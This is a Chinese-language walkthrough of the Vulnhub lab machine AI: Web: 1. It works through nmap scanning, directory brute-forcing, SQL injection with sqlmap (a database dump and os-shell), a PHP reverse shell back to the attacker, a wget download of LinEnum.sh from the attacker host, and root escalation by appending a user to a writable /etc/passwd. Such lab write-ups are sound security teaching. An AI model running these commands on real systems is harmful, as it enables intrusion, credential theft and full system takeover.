AI:WEB:1 Walkthrough

Posted 2022-12-05 mwq1024

AI: Web: 1 Vulnhub Walkthrough
靶机下载：https://www.vulnhub.com/entry/ai-web-1,353/
测试方法：
    Nmap网络扫描
    浏览网页
    爆破目录
    SQL注入获取凭证
    SQL注入获取shell
    可写/etc/passwd 提权
    读取falg文件
 
靶机和攻击机处于统一网段下 所以就不用netdiscover扫描了
靶机IP：192.168.123.211
攻击机IP：192.168.123.30

主机发现：
ifconfig

 

 

nmap -sn 192.168.123.1/24

 

 

主机扫描：
nmap -A 192.168.123.211


    发现只有一个80端口打开，用浏览器访问

 

 

 

 

主页上没有任何有用的信息
但是nmap扫到的robots.txt文件中有两个特别的目录

/m3diNf0/
/se3reTdir777/uploads/

浏览器打开

 

 

 

 

禁止访问，使用dirb爆破子目录

 

 

发现一个phpinfo页面

 

 

再爆破另外一个目录

 

 

没有有用的信息
接着爆破上级目录

 

 

发现了一个index.php
看到了输入框，先测试是否有sql注入

 

 

 

 

                                       1‘ union select 1,2,database() #

 

 

观察URL可知 不是GET提交参数
所以先用BurpSuite抓包，然后上神器sqlmap

 

 

sqlmap -r AI-WEB1.txt --dbs --batch

 

 

 

 

数据库名为aiweb1
接下来查询库中的所有数据

sqlmap -r AI-WEB1.txt -D aiweb1 --dump-all –batch

 

 

password字段base64解码
Table: systemUser
[3 entries]
+----+-----------+----------------------------------------------+
| id | userName  | password                                     |
+----+-----------+----------------------------------------------+
| 1  | t00r      | FakeUserPassw0rd                     |
| 2  | aiweb1pwn | MyEvilPass_f908sdaf9_sadfasf0sa |
| 3  | u3er      | N0tThis0neAls0                         |
+----+-----------+----------------------------------------------+
登录凭证拿到了 得想办法拿web shell

sqlmap -r AI-WEB1.txt --privileg  --batch 查看mysql的权限

 

 

FILE权限 可以对服务器本地文件进行操作

尝试使用os_shell直接得到shell
PS：
使用OS_shell的条件
（1）具有file权限
（2）攻击者需要知道网站的绝对路径
（3）GPC为off，php主动转义的功能关闭
第一点满足了，绝对路径可从info.php中找到

sqlmap -r AI-WEB1.txt -D aiweb1 --os-shell

 

 

 

 

 

 

 

 

为了接下来的提权，我们利用执行os_shell留下来的上传页面 上传php恶意脚本，反弹shell

 

 

 
php脚本中的IP改为攻击机的IP


c

 

 

上传

 

攻击机监听端口

 

 

访问恶意脚本

 

 

 

反弹shell成功 但这只是一个非交互式shell

 

 

我们利用python来模拟一个交互式shell
python -c ‘import pty;pty.spawn("/bin/bash")‘

 

 

注意 我们虽然有aiweb1pwn的密码 但是这个用户并不是root用户
所以还是得找其他方式提权
上传扫描脚本看靶机的配置是否有问题
攻击机开启一个web服务
python -m SimpleHTTPServer 8081

 

 

靶机下载脚本
cd /tmp
wget 192.168.123.30:8081/LinEnum.sh

 

 

给脚本执行权限
chmod 777 LinEnum.sh
./LinEnum.sh

 

 

查看脚本输出信息
发现passwd文件我们竟然能够修改

 

 

直接添加一个root用户

openssl passwd -1 -salt salt 1234
echo ‘hack:$1$salt$kqNI5AJoJdN1WgWoNslBD0:0:0::/root:/bin/bash‘ >> /etc/passwd

 

 tail /etc/passwd

 

 

添加成功，切换用户(hack:1234)
su hack
id